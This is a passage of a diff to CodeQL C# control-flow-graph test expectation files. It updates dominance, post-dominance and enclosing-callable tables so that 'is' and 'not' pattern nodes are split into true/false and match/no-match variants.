Patterns.cs:56:26:56:27 | enter M5 | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:22:60:28 | "not 1" | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:13:61:13 | _ | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:60:13:60:17 | [no-match] not ... | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:69:13:69:17 | [no-match] not ... | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | exit M2 (normal) | +| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [false] ... is ... | +| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [true] ... is ... | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:13:13:13:19 | return ...; | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:14:9:14:29 | ...; | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 (normal) | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:12:13:12:21 | [false] ... is ... | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:12:13:12:21 | [true] ... is ... | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:13:13:13:19 | return ...; | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:9:14:29 | ...; | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:17:10:17:11 | enter M3 | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:17:10:17:11 | exit M3 | +| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:13:19:21 | [false] ... is ... | +| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:13:19:21 | [true] ... is ... | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:20:45:20:53 | nameof(...) | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:21:9:21:29 | ...; | | PostDominance.cs:17:10:17:11 | exit M3 | PostDominance.cs:17:10:17:11 | exit M3 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:19:13:19:21 | [false] ... is ... | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:19:13:19:21 | [true] ... is ... | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:20:45:20:53 | nameof(...) | | PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:21:9:21:29 | ...; | | Qualifiers.cs:7:16:7:21 | enter Method | Qualifiers.cs:7:16:7:21 | enter Method | @@ -11945,8 +12029,13 @@ blockDominance | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:49 | ...; | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:49 | ...; | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:3:10:3:10 | enter M | +| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | +| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:8:9:8:28 | ... ...; | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:8:9:8:28 | ... ...; | | VarDecls.cs:5:18:5:19 | enter M1 | VarDecls.cs:5:18:5:19 | enter M1 | @@ -14820,16 +14909,33 @@ postBlockDominance | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:16:17:16:25 | ... ?? ... | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | enter M1 | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:8:13:8:23 | [true] ... is ... | +| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:9:9:11:9 | {...} | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:8:13:8:23 | [false] ... is ... | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | +| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:13:9:15:9 | {...} | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [false] ... is ... | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | +| Patterns.cs:17:9:18:9 | {...} | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | enter M1 | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:20:9:38:9 | switch (...) {...} | | Patterns.cs:23:17:23:22 | break; | Patterns.cs:23:17:23:22 | break; | @@ -14844,10 +14950,16 @@ postBlockDominance | Patterns.cs:34:17:34:22 | break; | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:35:13:35:20 | default: | Patterns.cs:35:13:35:20 | default: | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | enter M1 | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:8:13:8:23 | [false] ... is ... | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:12:18:12:31 | [false] ... is ... | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | [false] ... is ... | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:16:18:16:28 | [true] ... is ... | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:17:9:18:9 | {...} | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:20:9:38:9 | switch (...) {...} | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | @@ -14864,41 +14976,76 @@ postBlockDominance | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:9:42:9 | switch (...) {...} | | Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | enter M2 | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:14:51:21 | [no-match] not ... | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:9:51:21 | [true] ... is ... | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:14:51:21 | [match] not ... | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:21 | [true] ... is ... | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:14:51:21 | [match] not ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:14:51:21 | [no-match] not ... | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:25:51:25 | access to parameter c | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:14:51:21 | [match] not ... | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:14:51:21 | [no-match] not ... | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:9:51:21 | [true] ... is ... | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:14:51:21 | [match] not ... | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:9:51:21 | [false] ... is ... | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:14:51:21 | [no-match] not ... | | Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | | Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | enter M4 | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | enter M5 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | enter M5 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:22:60:28 | "not 1" | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:13:61:13 | _ | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:13:60:17 | [match] not ... | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:60:13:60:17 | [no-match] not ... | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:17 | [match] not ... | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:60:13:60:17 | [no-match] not ... | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:13 | _ | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | | Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 (normal) | +| PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:12:13:12:21 | [false] ... is ... | +| PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:12:13:12:21 | [true] ... is ... | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:13:13:13:19 | return ...; | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:14:9:14:29 | ...; | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:12:13:12:21 | [false] ... is ... | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:12:13:12:21 | [true] ... is ... | +| PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:12:13:12:21 | [true] ... is ... | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:13:13:13:19 | return ...; | +| PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:12:13:12:21 | [false] ... is ... | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:9:14:29 | ...; | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:17:10:17:11 | enter M3 | | PostDominance.cs:17:10:17:11 | exit M3 | PostDominance.cs:17:10:17:11 | exit M3 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:17:10:17:11 | enter M3 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:19:13:19:21 | [false] ... is ... | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:19:13:19:21 | [true] ... is ... | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:20:45:20:53 | nameof(...) | | PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:17:10:17:11 | enter M3 | +| PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:19:13:19:21 | [false] ... is ... | | PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:21:9:21:29 | ...; | | Qualifiers.cs:7:16:7:21 | enter Method | Qualifiers.cs:7:16:7:21 | enter Method | | Qualifiers.cs:8:23:8:34 | enter StaticMethod | Qualifiers.cs:8:23:8:34 | enter StaticMethod | @@ -15140,8 +15287,13 @@ postBlockDominance | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:49 | ...; | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:49 | ...; | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:3:10:3:10 | enter M | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | +| TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:3:10:3:10 | enter M | +| TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | +| TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:7:25:7:25 | ; | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:8:9:8:28 | ... ...; | | VarDecls.cs:5:18:5:19 | enter M1 | VarDecls.cs:5:18:5:19 | enter M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index ff77b166891..1b5088c216e 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -3493,7 +3493,8 @@ nodeEnclosing | Patterns.cs:7:20:7:23 | null | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | @@ -3503,7 +3504,8 @@ nodeEnclosing | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:5:10:5:11 | M1 | @@ -3513,7 +3515,8 @@ nodeEnclosing | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | @@ -3569,9 +3572,11 @@ nodeEnclosing | Patterns.cs:50:24:50:25 | exit M3 | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | M3 | -| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:18:51:21 | null | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:50:24:50:25 | M3 | @@ -3596,7 +3601,8 @@ nodeEnclosing | Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | M5 | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:60:17:60:17 | 1 | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:56:26:56:27 | M5 | @@ -3610,7 +3616,7 @@ nodeEnclosing | Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:67:16:67:16 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:65:26:65:27 | M6 | -| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:69:17:69:17 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:65:26:65:27 | M6 | @@ -3628,7 +3634,8 @@ nodeEnclosing | PostDominance.cs:11:5:15:5 | {...} | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:12:9:13:19 | if (...) ... | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:12:13:12:13 | access to parameter s | PostDominance.cs:10:10:10:11 | M2 | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:10:10:10:11 | M2 | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:10:10:10:11 | M2 | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:12:18:12:21 | null | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:14:9:14:28 | call to method WriteLine | PostDominance.cs:10:10:10:11 | M2 | @@ -3641,7 +3648,8 @@ nodeEnclosing | PostDominance.cs:18:5:22:5 | {...} | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:19:9:20:55 | if (...) ... | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:19:13:19:13 | access to parameter s | PostDominance.cs:17:10:17:11 | M3 | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:17:10:17:11 | M3 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:17:10:17:11 | M3 | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:19:18:19:21 | null | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:20:13:20:55 | throw ...; | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | PostDominance.cs:17:10:17:11 | M3 | @@ -4004,7 +4012,8 @@ nodeEnclosing | TypeAccesses.cs:6:13:6:23 | ... as ... | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:7:9:7:25 | if (...) ... | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:7:13:7:13 | access to parameter o | TypeAccesses.cs:3:10:3:10 | M | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:3:10:3:10 | M | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:3:10:3:10 | M | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:3:10:3:10 | M | @@ -5692,10 +5701,16 @@ blockEnclosing | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | M6 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | M6 | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:23 | 